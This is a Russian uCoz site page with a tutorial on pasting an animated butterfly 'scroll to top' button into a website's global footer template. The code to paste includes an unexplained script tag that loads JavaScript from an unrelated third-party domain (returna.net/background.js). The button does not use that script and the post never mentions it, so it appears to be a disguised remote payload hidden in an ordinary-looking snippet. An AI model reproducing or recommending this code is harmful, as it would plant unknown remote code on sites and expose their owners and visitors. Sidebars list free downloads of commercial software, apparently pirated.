Воскресенье, 25.02.2018, 04:39


Вниз Главная Регистрация RSS
Приветствую Вас, Гость


Радио ТРАНС
Игротека
Наш опрос
Оцените мой сайт
Всего ответов: 88
Статистика
Яндекс.Метрика Яндекс.Метрика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Друзья сайта
Главная » 2013 » Май » 3 » Уникальная кнопка Scroll To Top (наверх) для сайта
21:30
Уникальная кнопка Scroll To Top (наверх) для сайта
Интернет Технологии [2]Телефоны [0]uCoz CSS КодыСкрипты [94]



О том, как установить так называемую кнопку "наверх" на Ucoz, имеется достаточно информации. Тем не менее, я тоже вношу свой скромный вклад в описание этой темы.
Моя кнопка имеет пару существенных деталей, которые придают ей уникальность.
Во первых, мне всегда не нравилось то, что кнопка появляется сразу же после минимальной прокрутки страницы. Читатель еще не ознакомился с контентом, а уже "маячит" кнопка, призывая "наверх" и загораживает информацию на боковой панели. В моей кнопке есть настройка и вы сможете установить место страницы, когда она появляется (в середине поста, после или там где комментарии).
Во вторых, учитывая дизайн и специфику многих блогов моих читателей, я сделал анимированную кнопку в ввиде бабочки, что бесспорно является элементом уникальности.
И еще маленькая деталь - цвет при наведении на бабочку курсора, становится более насыщенным.

Установка:
Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код.

Код
<style>.b-top {z-index:2600;position:fixed;left:0;bottom:10px;width:34;opacity: 0.5;filter:alpha(opacity=50);}
.b-top:hover {opacity:1;filter:alpha(opacity=100);cursor:pointer;}
.b-top-but {z-index:2600;position:absolute;display:block;left:56px;bottom:0;margin:0 0 0 100%;padding:79px 12px 4px;
color:black;background: url(http://bambun.ru/site_img/c701ebd202c1.gif) no-repeat 50% 11px;border-radius:7px;}</style><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">$(document).ready(function(){
$(window).scroll(function () {if ($(this).scrollTop() > 1000) {$('#scroller').fadeIn();} else {$('#scroller').fadeOut();}});
$('#scroller').click(function () {$('body,html').animate({scrollTop: 0}, 400); return false;});
});</script><div id="scroller" class="b-top" style="display: none;"><span class="b-top-but">Наверх</span></div>


Категория: uCoz CSS КодыСкрипты | Просмотров: 432 | Добавил: DoG | Рейтинг: 0.0/ 0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

 

Новое на сайте

 

Самое популярное

 

 Коды скрипты

Случайная статья

  • Чудо ферма \ Virtual farm 90
  • Cities XL Platinum 2013 75
  • Именем короля 3. Коллекционное издание 91
  • Браузер Maxthon 192
  • Download Master 5.12.1.1283 180
  • RIFT – многопользовательская онлайн игра 205
  • Улесье. Коллекционное издание 151
  • Articles – лучшая Wikipedia в кармане 175
  • Будущее настоящего прошлого_скачать 339
  • Darck Orbit – браузерная игра 196
  • iSendSMS - для отправки SMS и MMS 230
  • Lunascape 6.2 Универсальный браузер 188
  • XnView Full-один из лучших просмотрщиков -конверторов графических файлов 216
  • Бизнес Пак - бесплатно 271
  • AKVIS Chameleon - коллажи 321

  • Govorilka 3.1 Rus Говорун_Скачать бесплатно 29945
  • FrontPage 2003 Русская версия 11686
  • Игра "Фараон и Клеопатра" скачать бесплатно 6918
  • Mozilla Firefox 8.0.1 - русская версия скачать 4213
  • Новый Супер Марио 4152
  • Игра в Длинные нарды 4056
  • Медитация для привлечения Любви 3767
  • Сборник_Программа настроев Г.Н.Сытина скачать 2916
  • FFrontPage 2007 Русская версия 2844
  • Авто выключение компьютера_WinMend Auto Shutdown 2665
  • Астрон Дизайн - 3D моделирование Вашего дома 2116
  • Спец эффекты с ВебКамерой 2097
  • Штука - игра в карты 1799
  • Если хочешь быть счастливым - Литвак Михаил 1563
  • Программа для быстрого создания Flash-анимации 1528

  • Кнопка наверх в виде ракеты с эффектом огня 360
  • Перевод сайта на 7 языков 277
  • Скрипт для сайта ucoz - Лучшие пользователи 382
  • Часы на ваш сайт,блог 323
  • Up на подобии как в вк 352
  • Статистика для системы ucoz 318
  • Новый цветной вид опроса v.2.0 uCoz 283
  • Новый, светлый мини-чат как на Zagruzka-Plus для uCoz 298
  • Выдвижная кнопка ВКонтакте для uCoz 353
  • Простое раздвижное меню для uCoz 368
  • Проверка на вирусы [Dr.Web] 335
  • Скрипт синий мини-профиль + форма входа для uCoz 370
  • MineCraft вид материалов для uCoz 472
  • Время в Москве 281
  • Новый вид статистики пользователей 277

  • Отправить SMS с сайта 276
  • Коте для вашего сайта 276
  • Новый вид статистики пользователей 277
  • Вид комментариев для uCoz v.5 277
  • Флэш проигрыватель с большим количеством радиостанций.. 277
  • Перевод сайта на 7 языков 277
  • Полная статистика Ucoz 277
  • Последние комментарии ucoz 277

  • Браузер Maxthon 192
  • Шаблон Радуга_для Укоса 338
  • FrontPage 2003 Русская версия 11686
  • Учет времени_Time Tracker 1.5_ скачать бесплатно 327
  • Ресторанная империя 327
  • Браузерная онлайн игра MyLands 182
  • Download Master 5.12.1.1283 180


  • Внимание!

    ВСЕ скачанные файлы с интернета, (и с нашего сайта, так же) перед запуском на своем компьютере рекомендуется ОБЯЗАТЕЛЬНО проверить Вашей антивирусной программой!
    Все файлы и программы взяты с интернет пространства.
    Администрация сайта не несет никакой ответственности за использование и последствия данных программ и файлов

    Вверх Главная Регистрация RSS
    Приветствую Вас, Гость